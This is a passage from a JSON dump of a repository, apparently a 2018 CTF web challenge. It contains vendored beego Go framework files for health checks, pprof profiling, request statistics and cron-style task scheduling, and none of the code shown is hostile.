&TestHTTPRequest{*httplib.Put(baseURL + getPort() + path)}\n}\n\n// Delete returns test client in DELETE method\nfunc Delete(path string) *TestHTTPRequest {\n\treturn &TestHTTPRequest{*httplib.Delete(baseURL + getPort() + path)}\n}\n\n// Head returns test client in HEAD method\nfunc Head(path string) *TestHTTPRequest {\n\treturn &TestHTTPRequest{*httplib.Head(baseURL + getPort() + path)}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/healthcheck.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package toolbox healthcheck\n//\n// type DatabaseCheck struct {\n// }\n//\n// func (dc *DatabaseCheck) Check() error {\n//\tif dc.isConnected() {\n//\t\treturn nil\n//\t} else {\n//\t\treturn errors.New(\"can't connect database\")\n// \t }\n// }\n//\n// AddHealthCheck(\"database\",&DatabaseCheck{})\n//\n// more docs: http://beego.me/docs/module/toolbox.md\npackage toolbox\n\n// AdminCheckList holds health checker map\nvar AdminCheckList map[string]HealthChecker\n\n// HealthChecker health checker interface\ntype HealthChecker interface {\n\tCheck() error\n}\n\n// AddHealthCheck add health checker with name string\nfunc AddHealthCheck(name string, hc HealthChecker) {\n\tAdminCheckList[name] = hc\n}\n\nfunc init() {\n\tAdminCheckList = make(map[string]HealthChecker)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/profile.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage toolbox\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\t\"runtime/pprof\"\n\t\"strconv\"\n\t\"time\"\n)\n\nvar startTime = time.Now()\nvar pid int\n\nfunc init() {\n\tpid = os.Getpid()\n}\n\n// ProcessInput parse input command string\nfunc ProcessInput(input string, w io.Writer) {\n\tswitch input {\n\tcase \"lookup goroutine\":\n\t\tp := pprof.Lookup(\"goroutine\")\n\t\tp.WriteTo(w, 2)\n\tcase \"lookup heap\":\n\t\tp := pprof.Lookup(\"heap\")\n\t\tp.WriteTo(w, 2)\n\tcase \"lookup threadcreate\":\n\t\tp := pprof.Lookup(\"threadcreate\")\n\t\tp.WriteTo(w, 2)\n\tcase \"lookup block\":\n\t\tp := pprof.Lookup(\"block\")\n\t\tp.WriteTo(w, 2)\n\tcase \"get cpuprof\":\n\t\tGetCPUProfile(w)\n\tcase \"get memprof\":\n\t\tMemProf(w)\n\tcase \"gc summary\":\n\t\tPrintGCSummary(w)\n\t}\n}\n\n// MemProf record memory profile in pprof\nfunc MemProf(w io.Writer) {\n\tfilename := \"mem-\" + strconv.Itoa(pid) + \".memprof\"\n\tif f, err := os.Create(filename); err != nil {\n\t\tfmt.Fprintf(w, \"create file %s error %s\\n\", filename, err.Error())\n\t\tlog.Fatal(\"record heap profile failed: \", err)\n\t} else {\n\t\truntime.GC()\n\t\tpprof.WriteHeapProfile(f)\n\t\tf.Close()\n\t\tfmt.Fprintf(w, \"create heap profile %s \\n\", filename)\n\t\t_, fl := path.Split(os.Args[0])\n\t\tfmt.Fprintf(w, \"Now you can use this to check it: go tool pprof %s %s\\n\", fl, filename)\n\t}\n}\n\n// GetCPUProfile start cpu profile monitor\nfunc GetCPUProfile(w io.Writer) {\n\tsec := 30\n\tfilename := \"cpu-\" + strconv.Itoa(pid) + \".pprof\"\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\tfmt.Fprintf(w, \"Could not enable CPU profiling: %s\\n\", err)\n\t\tlog.Fatal(\"record cpu profile failed: \", err)\n\t}\n\tpprof.StartCPUProfile(f)\n\ttime.Sleep(time.Duration(sec) * time.Second)\n\tpprof.StopCPUProfile()\n\n\tfmt.Fprintf(w, \"create cpu profile %s \\n\", filename)\n\t_, fl := path.Split(os.Args[0])\n\tfmt.Fprintf(w, \"Now you can use this to check it: go tool pprof %s %s\\n\", fl, filename)\n}\n\n// PrintGCSummary print gc information to io.Writer\nfunc PrintGCSummary(w io.Writer) {\n\tmemStats := &runtime.MemStats{}\n\truntime.ReadMemStats(memStats)\n\tgcstats := &debug.GCStats{PauseQuantiles: make([]time.Duration, 100)}\n\tdebug.ReadGCStats(gcstats)\n\n\tprintGC(memStats, gcstats, w)\n}\n\nfunc printGC(memStats *runtime.MemStats, gcstats *debug.GCStats, w io.Writer) {\n\n\tif gcstats.NumGC > 0 {\n\t\tlastPause := gcstats.Pause[0]\n\t\telapsed := time.Now().Sub(startTime)\n\t\toverhead := float64(gcstats.PauseTotal) / float64(elapsed) * 100\n\t\tallocatedRate := float64(memStats.TotalAlloc) / elapsed.Seconds()\n\n\t\tfmt.Fprintf(w, \"NumGC:%d Pause:%s Pause(Avg):%s Overhead:%3.2f%% Alloc:%s Sys:%s Alloc(Rate):%s/s Histogram:%s %s %s \\n\",\n\t\t\tgcstats.NumGC,\n\t\t\ttoS(lastPause),\n\t\t\ttoS(avg(gcstats.Pause)),\n\t\t\toverhead,\n\t\t\ttoH(memStats.Alloc),\n\t\t\ttoH(memStats.Sys),\n\t\t\ttoH(uint64(allocatedRate)),\n\t\t\ttoS(gcstats.PauseQuantiles[94]),\n\t\t\ttoS(gcstats.PauseQuantiles[98]),\n\t\t\ttoS(gcstats.PauseQuantiles[99]))\n\t} else {\n\t\t// while GC has disabled\n\t\telapsed := time.Now().Sub(startTime)\n\t\tallocatedRate := float64(memStats.TotalAlloc) / elapsed.Seconds()\n\n\t\tfmt.Fprintf(w, \"Alloc:%s Sys:%s Alloc(Rate):%s/s\\n\",\n\t\t\ttoH(memStats.Alloc),\n\t\t\ttoH(memStats.Sys),\n\t\t\ttoH(uint64(allocatedRate)))\n\t}\n}\n\nfunc avg(items []time.Duration) time.Duration {\n\tvar sum time.Duration\n\tfor _, item := range items {\n\t\tsum += item\n\t}\n\treturn time.Duration(int64(sum) / int64(len(items)))\n}\n\n// format bytes number friendly\nfunc toH(bytes uint64) string {\n\tswitch {\n\tcase bytes < 1024:\n\t\treturn fmt.Sprintf(\"%dB\", bytes)\n\tcase bytes < 1024*1024:\n\t\treturn fmt.Sprintf(\"%.2fK\", float64(bytes)/1024)\n\tcase bytes < 1024*1024*1024:\n\t\treturn fmt.Sprintf(\"%.2fM\", float64(bytes)/1024/1024)\n\tdefault:\n\t\treturn fmt.Sprintf(\"%.2fG\", float64(bytes)/1024/1024/1024)\n\t}\n}\n\n// short string format\nfunc toS(d time.Duration) string {\n\n\tu := uint64(d)\n\tif u < uint64(time.Second) {\n\t\tswitch {\n\t\tcase u == 0:\n\t\t\treturn \"0\"\n\t\tcase u < uint64(time.Microsecond):\n\t\t\treturn fmt.Sprintf(\"%.2fns\", float64(u))\n\t\tcase u < uint64(time.Millisecond):\n\t\t\treturn fmt.Sprintf(\"%.2fus\", float64(u)/1000)\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"%.2fms\", float64(u)/1000/1000)\n\t\t}\n\t} else {\n\t\tswitch {\n\t\tcase u < uint64(time.Minute):\n\t\t\treturn fmt.Sprintf(\"%.2fs\", float64(u)/1000/1000/1000)\n\t\tcase u < uint64(time.Hour):\n\t\t\treturn fmt.Sprintf(\"%.2fm\", float64(u)/1000/1000/1000/60)\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"%.2fh\", float64(u)/1000/1000/1000/60/60)\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/profile_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage toolbox\n\nimport (\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestProcessInput(t *testing.T) {\n\tProcessInput(\"lookup goroutine\", os.Stdout)\n\tProcessInput(\"lookup heap\", os.Stdout)\n\tProcessInput(\"lookup threadcreate\", os.Stdout)\n\tProcessInput(\"lookup block\", os.Stdout)\n\tProcessInput(\"gc summary\", os.Stdout)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/statistics.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage toolbox\n\nimport (\n\t\"fmt\"\n\t\"sync\"\n\t\"time\"\n)\n\n// Statistics struct\ntype Statistics struct {\n\tRequestURL        string\n\tRequestController string\n\tRequestNum        int64\n\tMinTime           time.Duration\n\tMaxTime           time.Duration\n\tTotalTime         time.Duration\n}\n\n// URLMap contains several statistics struct to log different data\ntype URLMap struct {\n\tlock        sync.RWMutex\n\tLengthLimit int //limit the urlmap's length if it's equal to 0 there's no limit\n\turlmap      map[string]map[string]*Statistics\n}\n\n// AddStatistics add statistics task.\n// it needs request method, request url, request controller and statistics time duration\nfunc (m *URLMap) AddStatistics(requestMethod, requestURL, requestController string, requesttime time.Duration) {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\tif method, ok := m.urlmap[requestURL]; ok {\n\t\tif s, ok := method[requestMethod]; ok {\n\t\t\ts.RequestNum++\n\t\t\tif s.MaxTime < requesttime {\n\t\t\t\ts.MaxTime = requesttime\n\t\t\t}\n\t\t\tif s.MinTime > requesttime {\n\t\t\t\ts.MinTime = requesttime\n\t\t\t}\n\t\t\ts.TotalTime += requesttime\n\t\t} else {\n\t\t\tnb := &Statistics{\n\t\t\t\tRequestURL:        requestURL,\n\t\t\t\tRequestController: requestController,\n\t\t\t\tRequestNum:        1,\n\t\t\t\tMinTime:           requesttime,\n\t\t\t\tMaxTime:           requesttime,\n\t\t\t\tTotalTime:         requesttime,\n\t\t\t}\n\t\t\tm.urlmap[requestURL][requestMethod] = nb\n\t\t}\n\n\t} else {\n\t\tif m.LengthLimit > 0 && m.LengthLimit <= len(m.urlmap) {\n\t\t\treturn\n\t\t}\n\t\tmethodmap := make(map[string]*Statistics)\n\t\tnb := &Statistics{\n\t\t\tRequestURL:        requestURL,\n\t\t\tRequestController: requestController,\n\t\t\tRequestNum:        1,\n\t\t\tMinTime:           requesttime,\n\t\t\tMaxTime:           requesttime,\n\t\t\tTotalTime:         requesttime,\n\t\t}\n\t\tmethodmap[requestMethod] = nb\n\t\tm.urlmap[requestURL] = methodmap\n\t}\n}\n\n// GetMap put url statistics result in io.Writer\nfunc (m *URLMap) GetMap() map[string]interface{} {\n\tm.lock.RLock()\n\tdefer m.lock.RUnlock()\n\n\tvar fields = []string{\"requestUrl\", \"method\", \"times\", \"used\", \"max used\", \"min used\", \"avg used\"}\n\n\tvar resultLists [][]string\n\tcontent := make(map[string]interface{})\n\tcontent[\"Fields\"] = fields\n\n\tfor k, v := range m.urlmap {\n\t\tfor kk, vv := range v {\n\t\t\tresult := []string{\n\t\t\t\tfmt.Sprintf(\"% -50s\", k),\n\t\t\t\tfmt.Sprintf(\"% -10s\", kk),\n\t\t\t\tfmt.Sprintf(\"% -16d\", vv.RequestNum),\n\t\t\t\tfmt.Sprintf(\"%d\", vv.TotalTime),\n\t\t\t\tfmt.Sprintf(\"% -16s\", toS(vv.TotalTime)),\n\t\t\t\tfmt.Sprintf(\"%d\", vv.MaxTime),\n\t\t\t\tfmt.Sprintf(\"% -16s\", toS(vv.MaxTime)),\n\t\t\t\tfmt.Sprintf(\"%d\", vv.MinTime),\n\t\t\t\tfmt.Sprintf(\"% -16s\", toS(vv.MinTime)),\n\t\t\t\tfmt.Sprintf(\"%d\", time.Duration(int64(vv.TotalTime)/vv.RequestNum)),\n\t\t\t\tfmt.Sprintf(\"% -16s\", toS(time.Duration(int64(vv.TotalTime)/vv.RequestNum))),\n\t\t\t}\n\t\t\tresultLists = append(resultLists, result)\n\t\t}\n\t}\n\tcontent[\"Data\"] = resultLists\n\treturn content\n}\n\n// GetMapData return all mapdata\nfunc (m *URLMap) GetMapData() []map[string]interface{} {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\n\tvar resultLists []map[string]interface{}\n\n\tfor k, v := range m.urlmap {\n\t\tfor kk, vv := range v {\n\t\t\tresult := map[string]interface{}{\n\t\t\t\t\"request_url\": k,\n\t\t\t\t\"method\":      kk,\n\t\t\t\t\"times\":       vv.RequestNum,\n\t\t\t\t\"total_time\":  toS(vv.TotalTime),\n\t\t\t\t\"max_time\":    toS(vv.MaxTime),\n\t\t\t\t\"min_time\":    toS(vv.MinTime),\n\t\t\t\t\"avg_time\":    toS(time.Duration(int64(vv.TotalTime) / vv.RequestNum)),\n\t\t\t}\n\t\t\tresultLists = append(resultLists, result)\n\t\t}\n\t}\n\treturn resultLists\n}\n\n// StatisticsMap hosld global statistics data map\nvar StatisticsMap *URLMap\n\nfunc init() {\n\tStatisticsMap = &URLMap{\n\t\turlmap: make(map[string]map[string]*Statistics),\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/statistics_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage toolbox\n\nimport (\n\t\"encoding/json\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestStatics(t *testing.T) {\n\tStatisticsMap.AddStatistics(\"POST\", \"/api/user\", \"&admin.user\", time.Duration(2000))\n\tStatisticsMap.AddStatistics(\"POST\", \"/api/user\", \"&admin.user\", time.Duration(120000))\n\tStatisticsMap.AddStatistics(\"GET\", \"/api/user\", \"&admin.user\", time.Duration(13000))\n\tStatisticsMap.AddStatistics(\"POST\", \"/api/admin\", \"&admin.user\", time.Duration(14000))\n\tStatisticsMap.AddStatistics(\"POST\", \"/api/user/astaxie\", \"&admin.user\", time.Duration(12000))\n\tStatisticsMap.AddStatistics(\"POST\", \"/api/user/xiemengjun\", \"&admin.user\", time.Duration(13000))\n\tStatisticsMap.AddStatistics(\"DELETE\", \"/api/user\", \"&admin.user\", time.Duration(1400))\n\tt.Log(StatisticsMap.GetMap())\n\n\tdata := StatisticsMap.GetMapData()\n\tb, err := json.Marshal(data)\n\tif err != nil {\n\t\tt.Errorf(err.Error())\n\t}\n\n\tt.Log(string(b))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/task.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage toolbox\n\nimport (\n\t\"log\"\n\t\"math\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\n// bounds provides a range of acceptable values (plus a map of name to value).\ntype bounds struct {\n\tmin, max uint\n\tnames    map[string]uint\n}\n\n// The bounds for each field.\nvar (\n\tAdminTaskList map[string]Tasker\n\tstop          chan bool\n\tchanged       chan bool\n\tisstart       bool\n\tseconds       = bounds{0, 59, nil}\n\tminutes       = bounds{0, 59, nil}\n\thours         = bounds{0, 23, nil}\n\tdays          = bounds{1, 31, nil}\n\tmonths        = bounds{1, 12, map[string]uint{\n\t\t\"jan\": 1,\n\t\t\"feb\": 2,\n\t\t\"mar\": 3,\n\t\t\"apr\": 4,\n\t\t\"may\": 5,\n\t\t\"jun\": 6,\n\t\t\"jul\": 7,\n\t\t\"aug\": 8,\n\t\t\"sep\": 9,\n\t\t\"oct\": 10,\n\t\t\"nov\": 11,\n\t\t\"dec\": 12,\n\t}}\n\tweeks = bounds{0, 6, map[string]uint{\n\t\t\"sun\": 0,\n\t\t\"mon\": 1,\n\t\t\"tue\": 2,\n\t\t\"wed\": 3,\n\t\t\"thu\": 4,\n\t\t\"fri\": 5,\n\t\t\"sat\": 6,\n\t}}\n)\n\nconst (\n\t// Set the top bit if a star was included in the expression.\n\tstarBit = 1 << 63\n)\n\n// Schedule time taks schedule\ntype Schedule struct {\n\tSecond uint64\n\tMinute uint64\n\tHour   uint64\n\tDay    uint64\n\tMonth  uint64\n\tWeek   uint64\n}\n\n// TaskFunc task func type\ntype TaskFunc func() error\n\n// Tasker task interface\ntype Tasker interface {\n\tGetSpec() string\n\tGetStatus() string\n\tRun() error\n\tSetNext(time.Time)\n\tGetNext() time.Time\n\tSetPrev(time.Time)\n\tGetPrev() time.Time\n}\n\n// task error\ntype taskerr struct {\n\tt       time.Time\n\terrinfo string\n}\n\n// Task task struct\ntype Task struct {\n\tTaskname string\n\tSpec     *Schedule\n\tSpecStr  string\n\tDoFunc   TaskFunc\n\tPrev     time.Time\n\tNext     time.Time\n\tErrlist  []*taskerr // like errtime:errinfo\n\tErrLimit int        // max length for the errlist, 0 stand for no limit\n}\n\n// NewTask add new task with name, time and func\nfunc NewTask(tname string, spec string, f TaskFunc) *Task {\n\n\ttask := &Task{\n\t\tTaskname: tname,\n\t\tDoFunc:   f,\n\t\tErrLimit: 100,\n\t\tSpecStr:  spec,\n\t}\n\ttask.SetCron(spec)\n\treturn task\n}\n\n// GetSpec get spec string\nfunc (t *Task) GetSpec() string {\n\treturn t.SpecStr\n}\n\n// GetStatus get current task status\nfunc (t *Task) GetStatus() string {\n\tvar str string\n\tfor _, v := range t.Errlist {\n\t\tstr += v.t.String() + \":\" + v.errinfo + \"<br>\"\n\t}\n\treturn str\n}\n\n// Run run all tasks\nfunc (t *Task) Run() error {\n\terr := t.DoFunc()\n\tif err != nil {\n\t\tif t.ErrLimit > 0 && t.ErrLimit > len(t.Errlist) {\n\t\t\tt.Errlist = append(t.Errlist, &taskerr{t: t.Next, errinfo: err.Error()})\n\t\t}\n\t}\n\treturn err\n}\n\n// SetNext set next time for this task\nfunc (t *Task) SetNext(now time.Time) {\n\tt.Next = t.Spec.Next(now)\n}\n\n// GetNext get the next call time of this task\nfunc (t *Task) GetNext() time.Time {\n\treturn t.Next\n}\n\n// SetPrev set prev time of this task\nfunc (t *Task) SetPrev(now time.Time) {\n\tt.Prev = now\n}\n\n// GetPrev get prev time of this task\nfunc (t *Task) GetPrev() time.Time {\n\treturn t.Prev\n}\n\n// six columns mean：\n//       second：0-59\n//       minute：0-59\n//       hour：1-23\n//       day：1-31\n//       month：1-12\n//       week：0-6（0 means Sunday）\n\n// SetCron some signals：\n//       *： any time\n//       ,：　 separate signal\n//　　    －：duration\n//       /n : do as n times of time duration\n/////////////////////////////////////////////////////////\n//\t0/30 * * * * *                        every 30s\n//\t0 43 21 * * *                         21:43\n//\t0 15 05 * * * 　　                     05:15\n//\t0 0 17 * * *                          17:00\n//\t0 0 17 * * 1                           17:00 in every Monday\n//\t0 0,10 17 * * 0,2,3                   17:00 and 17:10 in every Sunday, Tuesday and Wednesday\n//\t0 0-10 17 1 * *                       17:00 to 17:10 in 1 min duration each time on the first day of month\n//\t0 0 0 1,15 * 1                        0:00 on the 1st day and 15th day of month\n//\t0 42 4 1 * * 　 　                     4:42 on the 1st day of month\n//\t0 0 21 * * 1-6　　                     21:00 from Monday to Saturday\n//\t0 0,10,20,30,40,50 * * * *　           every 10 min duration\n//\t0 */10 * * * * 　　　　　　              every 10 min duration\n//\t0 * 1 * * *　　　　　　　　               1:00 to 1:59 in 1 min duration each time\n//\t0 0 1 * * *　　　　　　　　               1:00\n//\t0 0 */1 * * *　　　　　　　               0 min of hour in 1 hour duration\n//\t0 0 * * * *　　　　　　　　               0 min of hour in 1 hour duration\n//\t0 2 8-20/3 * * *　　　　　　             8:02, 11:02, 14:02, 17:02, 20:02\n//\t0 30 5 1,15 * *　　　　　　              5:30 on the 1st day and 15th day of month\nfunc (t *Task) SetCron(spec string) {\n\tt.Spec = t.parse(spec)\n}\n\nfunc (t *Task) parse(spec string) *Schedule {\n\tif len(spec) > 0 && spec[0] == '@' {\n\t\treturn t.parseSpec(spec)\n\t}\n\t// Split on whitespace.  We require 5 or 6 fields.\n\t// (second) (minute) (hour) (day of month) (month) (day of week, optional)\n\tfields := strings.Fields(spec)\n\tif len(fields) != 5 && len(fields) != 6 {\n\t\tlog.Panicf(\"Expected 5 or 6 fields, found %d: %s\", len(fields), spec)\n\t}\n\n\t// If a sixth field is not provided (DayOfWeek), then it is equivalent to star.\n\tif len(fields) == 5 {\n\t\tfields = append(fields, \"*\")\n\t}\n\n\tschedule := &Schedule{\n\t\tSecond: getField(fields[0], seconds),\n\t\tMinute: getField(fields[1], minutes),\n\t\tHour:   getField(fields[2], hours),\n\t\tDay:    getField(fields[3], days),\n\t\tMonth:  getField(fields[4], months),\n\t\tWeek:   getField(fields[5], weeks),\n\t}\n\n\treturn schedule\n}\n\nfunc (t *Task) parseSpec(spec string) *Schedule {\n\tswitch spec {\n\tcase \"@yearly\", \"@annually\":\n\t\treturn &Schedule{\n\t\t\tSecond: 1 << seconds.min,\n\t\t\tMinute: 1 << minutes.min,\n\t\t\tHour:   1 << hours.min,\n\t\t\tDay:    1 << days.min,\n\t\t\tMonth:  1 << months.min,\n\t\t\tWeek:   all(weeks),\n\t\t}\n\n\tcase \"@monthly\":\n\t\treturn &Schedule{\n\t\t\tSecond: 1 << seconds.min,\n\t\t\tMinute: 1 << minutes.min,\n\t\t\tHour:   1 << hours.min,\n\t\t\tDay:    1 << days.min,\n\t\t\tMonth:  all(months),\n\t\t\tWeek:   all(weeks),\n\t\t}\n\n\tcase \"@weekly\":\n\t\treturn &Schedule{\n\t\t\tSecond: 1 << seconds.min,\n\t\t\tMinute: 1 << minutes.min,\n\t\t\tHour:   1 << hours.min,\n\t\t\tDay:    all(days),\n\t\t\tMonth:  all(months),\n\t\t\tWeek:   1 << weeks.min,\n\t\t}\n\n\tcase \"@daily\", \"@midnight\":\n\t\treturn &Schedule{\n\t\t\tSecond: 1 << seconds.min,\n\t\t\tMinute: 1 << minutes.min,\n\t\t\tHour:   1 << hours.min,\n\t\t\tDay:    all(days),\n\t\t\tMonth:  all(months),\n\t\t\tWeek:   all(weeks),\n\t\t}\n\n\tcase \"@hourly\":\n\t\treturn &Schedule{\n\t\t\tSecond: 1 << seconds.min,\n\t\t\tMinute: 1 << minutes.min,\n\t\t\tHour:   all(hours),\n\t\t\tDay:    all(days),\n\t\t\tMonth:  all(months),\n\t\t\tWeek:   all(weeks),\n\t\t}\n\t}\n\tlog.Panicf(\"Unrecognized descriptor: %s\", spec)\n\treturn nil\n}\n\n// Next set schedule to next time\nfunc (s *Schedule) Next(t time.Time) time.Time {\n\n\t// Start at the earliest possible time (the upcoming second).\n\tt = t.Add(1*time.Second - time.Duration(t.Nanosecond())*time.Nanosecond)\n\n\t// This flag indicates whether a field has been incremented.\n\tadded := false\n\n\t// If no time is found within five years, return zero.\n\tyearLimit := t.Year() + 5\n\nWRAP:\n\tif t.Year() > yearLimit {\n\t\treturn time.Time{}\n\t}\n\n\t// Find the first applicable month.\n\t// If it's this month, then do nothing.\n\tfor 1<<uint(t.Month())&s.Month == 0 {\n\t\t// If we have to add a month, reset the other parts to 0.\n\t\tif !added {\n\t\t\tadded = true\n\t\t\t// Otherwise, set the date at the beginning (since the current time is irrelevant).\n\t\t\tt = time.Date(t.Year(), t.Month(), 1, 0, 0, 0, 0, t.Location())\n\t\t}\n\t\tt = t.AddDate(0, 1, 0)\n\n\t\t// Wrapped around.\n\t\tif t.Month() == time.January {\n\t\t\tgoto WRAP\n\t\t}\n\t}\n\n\t// Now get a day in that month.\n\tfor !dayMatches(s, t) {\n\t\tif !added {\n\t\t\tadded = true\n\t\t\tt = time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location())\n\t\t}\n\t\tt = t.AddDate(0, 0, 1)\n\n\t\tif t.Day() == 1 {\n\t\t\tgoto WRAP\n\t\t}\n\t}\n\n\tfor 1<<uint(t.Hour())&s.Hour == 0 {\n\t\tif !added {\n\t\t\tadded = true\n\t\t\tt = time.Date(t.Year(), t.Month(), t.Day(), t.Hour(), 0, 0, 0, t.Location())\n\t\t}\n\t\tt = t.Add(1 * time.Hour)\n\n\t\tif t.Hour() == 0 {\n\t\t\tgoto WRAP\n\t\t}\n\t}\n\n\tfor 1<<uint(t.Minute())&s.Minute == 0 {\n\t\tif !added {\n\t\t\tadded = true\n\t\t\tt = time.Date(t.Year(), t.Month(), t.Day(), t.Hour(), t.Minute(), 0, 0, t.Location())\n\t\t}\n\t\tt = t.Add(1 * time.Minute)\n\n\t\tif t.Minute() == 0 {\n\t\t\tgoto WRAP\n\t\t}\n\t}\n\n\tfor 1<<uint(t.Second())&s.Second == 0 {\n\t\tif !added {\n\t\t\tadded = true\n\t\t\tt = time.Date(t.Year(), t.Month(), t.Day(), t.Hour(), t.Minute(), t.Second(), 0, t.Location())\n\t\t}\n\t\tt = t.Add(1 * time.Second)\n\n\t\tif t.Second() == 0 {\n\t\t\tgoto WRAP\n\t\t}\n\t}\n\n\treturn t\n}\n\nfunc dayMatches(s *Schedule, t time.Time) bool {\n\tvar (\n\t\tdomMatch = 1<<uint(t.Day())&s.Day > 0\n\t\tdowMatch = 1<<uint(t.Weekday())&s.Week > 0\n\t)\n\n\tif s.Day&starBit > 0 || s.Week&starBit > 0 {\n\t\treturn domMatch && dowMatch\n\t}\n\treturn domMatch || dowMatch\n}\n\n// StartTask start all tasks\nfunc StartTask() {\n\tif isstart {\n\t\t//If already started， no need to start another goroutine.\n\t\treturn\n\t}\n\tisstart = true\n\tgo run()\n}\n\nfunc run() {\n\tnow := time.Now().Local()\n\tfor _, t := range AdminTaskList {\n\t\tt.SetNext(now)\n\t}\n\n\tfor {\n\t\tsortList := NewMapSorter(AdminTaskList)\n\t\tsortList.Sort()\n\t\tvar effective time.Time\n\t\tif len(AdminTaskList) == 0 || sortList.Vals[0].GetNext().IsZero() {\n\t\t\t// If there are no entries yet, just sleep - it still handles new entries\n\t\t\t// and stop requests.\n\t\t\teffective = now.AddDate(10, 0, 0)\n\t\t} else {\n\t\t\teffective = sortList.Vals[0].GetNext()\n\t\t}\n\t\tselect {\n\t\tcase now = <-time.After(effective.Sub(now)):\n\t\t\t// Run every entry whose next time was this effective time.\n\t\t\tfor _, e := range sortList.Vals {\n\t\t\t\tif e.GetNext() != effective {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tgo e.Run()\n\t\t\t\te.SetPrev(e.GetNext())\n\t\t\t\te.SetNext(effective)\n\t\t\t}\n\t\t\tcontinue\n\t\tcase <-changed:\n\t\t\tnow = time.Now().Local()\n\t\t\tcontinue\n\t\tcase <-stop:\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// StopTask stop all tasks\nfunc StopTask() {\n\tif isstart {\n\t\tisstart = false\n\t\tstop <- true\n\t}\n\n}\n\n// AddTask add task with name\nfunc AddTask(taskname string, t Tasker) {\n\tAdminTaskList[taskname] = t\n\tif isstart {\n\t\tchanged <- true\n\t}\n}\n\n// DeleteTask delete task with name\nfunc DeleteTask(taskname string) {\n\tdelete(AdminTaskList, taskname)\n\tif isstart {\n\t\tchanged <- true\n\t}\n}\n\n// MapSorter sort map for tasker\ntype MapSorter struct {\n\tKeys []string\n\tVals []Tasker\n}\n\n// NewMapSorter create new tasker map\nfunc NewMapSorter(m map[string]Tasker) *MapSorter {\n\tms := &MapSorter{\n\t\tKeys: make([]string, 0, len(m)),\n\t\tVals: make([]Tasker, 0, len(m)),\n\t}\n\tfor k, v := range m {\n\t\tms.Keys = append(ms.Keys, k)\n\t\tms.Vals = append(ms.Vals, v)\n\t}\n\treturn ms\n}\n\n// Sort sort tasker map\nfunc (ms *MapSorter) Sort() {\n\tsort.Sort(ms)\n}\n\nfunc (ms *MapSorter) 